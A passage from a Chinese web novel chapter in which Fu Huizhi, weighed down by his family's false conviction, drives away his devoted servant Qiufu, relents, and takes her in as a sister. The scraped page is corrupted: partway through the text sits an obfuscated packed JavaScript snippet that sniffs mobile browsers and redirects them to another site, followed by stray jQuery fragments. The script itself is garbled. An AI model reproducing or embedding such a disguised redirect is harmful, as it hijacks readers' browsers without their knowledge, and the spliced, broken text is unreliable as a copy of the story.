水底青山 作品
61. 第61章(第2页)
这是交心的话。
傅家出事前,傅徽之大抵也没什么心事。有也只会对傅时文说。出事后,傅徽之身侧再无亲人,只有她。他的所有情绪都藏在心里。从不对她说半个字。
不知是不是在病中,人还不大清醒的缘故,才对她说出这样的话来。
秋芙忽然就理解了傅徽之。也明白了她与傅徽之最大的不同。她的家人无辜被杀,而傅徽之的家人蒙冤后却仍在世。
或许傅徽之自己都没有察觉。在临封亲眼见到他的父兄、他的族人作苦役之后,无形之中他有了更大的压力。
他是唯一一个能在外奔走的人,全族的清白自然而然地背负在他一个人身上。
他早一日查清真相,他的父兄亲族便早一日脱离苦海。
自此,他家族的冤屈便想一块大石压在他心口,他没有一日能喘得过气来。
如今,真相迟迟不明,傅徽之对族人愈发愧疚,也愈发痛恨这样无能的自己。
这样的压力在前,任何安慰都是无力的。可虽知无力,秋芙还是要说。“公子,别这样逼自己好么?”
傅徽之轻轻摇头。他沉默半晌,再次开口:“秋芙,你走罢。你也看到了,如今的我,喜怒无常。我控制不住,我会伤害你的。”
每
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019525|149279||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
回作色之后,他都很后悔。他也不知道自己是怎么了。他也不想这样,可他控制不了。
傅徽之似在自言自语。“你是好女子,别误在我处。”
傅徽之已经很久没有出言赶她走过了。秋芙想过要迎接他的怒火,却没想到会再次面临驱逐。她迷茫了一瞬。
她害怕傅徽之,想过尽量避着他、躲着他,却从未想过要离开他。
她留在傅徽之身边或许是因为想报当年的收留之恩,或许是因为喜欢,又或许是这么多年,她早将傅徽之当作了唯一的亲人。
便好似那真正的血亲,不论亲人便成什么模样,他们仍然血脉相连,是任何东西都无法斩断的。
秋芙反应过来后,立刻跪下,便如她之前做的一般。跪着恳求他,以情动人,傅徽之最后总会心软的。
可她想不到傅徽之这回是铁了心,无论她怎么求,她的眼泪都急得下来了,傅徽之都无动于衷。
…………
傅徽之又在榻上躺了半个时辰。忽一阵急风吹开了屋门。
二刻之前,他便听见篱门摇动的声音。大概是秋芙收拾好东西走了。她定是没法关篱门的,傅徽之便自己下榻去关。
走到院中时,便闻隐隐的抽泣声。傅徽之放轻脚步,慢慢走近。
他先看见了地上的包裹。
秋芙坐在包裹旁,背靠着篱笆,正掩面哭泣。
除却在屋中他视而不见的那回,其实这是他第二回见秋芙落泪。
他不禁想起第一回见到秋芙时,她被一群乞儿所欺,缩在城墙一隅,悄悄抹泪。
毫无征兆地,他又想起傅卫来。傅卫觉得他对傅家的事知道得越少,便能更平安地活下去。而他觉得秋芙离开他,会过得更好。
原来他与傅卫并无分别,都喜欢将自己的考量强加于人,根本没想过别人愿不愿意。
这些日子,他不可避免地怨恨上了傅卫。他不想成为如傅卫一般的人。
秋芙忽然转过头来,看见他,慌忙抹了把眼泪,起身。“公子别生气,我这便走。”
心间一阵酸楚,傅徽之再狠不下心。
秋芙走了两步意识到没拿包裹,又折回来,俯身抓起包裹转身便走。谁知包裹另一端却被人扯住。
秋芙回头,有些疑惑地看向傅徽之。
“我不该逼你的。”傅徽之缓缓道,“是去是留,任你,我不逼你了。”
大悲之后又逢大喜之事,秋芙愣愣的,不知作何反应。
她又听见傅徽之说道:“只是我不需要奴婢。你若愿留下,便抛去奴婢的身份,做我的妹妹。”
秋芙在想这一切是真的吗?傅徽之又为何回心转意了?
见秋芙仍无甚反应,傅徽之也不怪,继续说道:“秋芙这个名字也不要再用了。我知道你家中的事不便说,若你不能用本名,我……”
秋芙终于开口:“我本姓白,名潏露。”她停了停,道,“我家中的事,若时机恰当,我会与公子说的。”
“也不要再唤我‘公子’了。”
“我唤了六年的‘公子’,实在是……”
“也罢……”傅徽之松开扯住包裹的手,转身,“回屋罢。”
“公子!”白潏露忽又唤他。
傅徽之停了步子。
白潏露道:“公子,其实我还有件事瞒了你。”
傅徽之回首,并不言语,只等她说下去。
“阿翁他并不是生来聩哑。”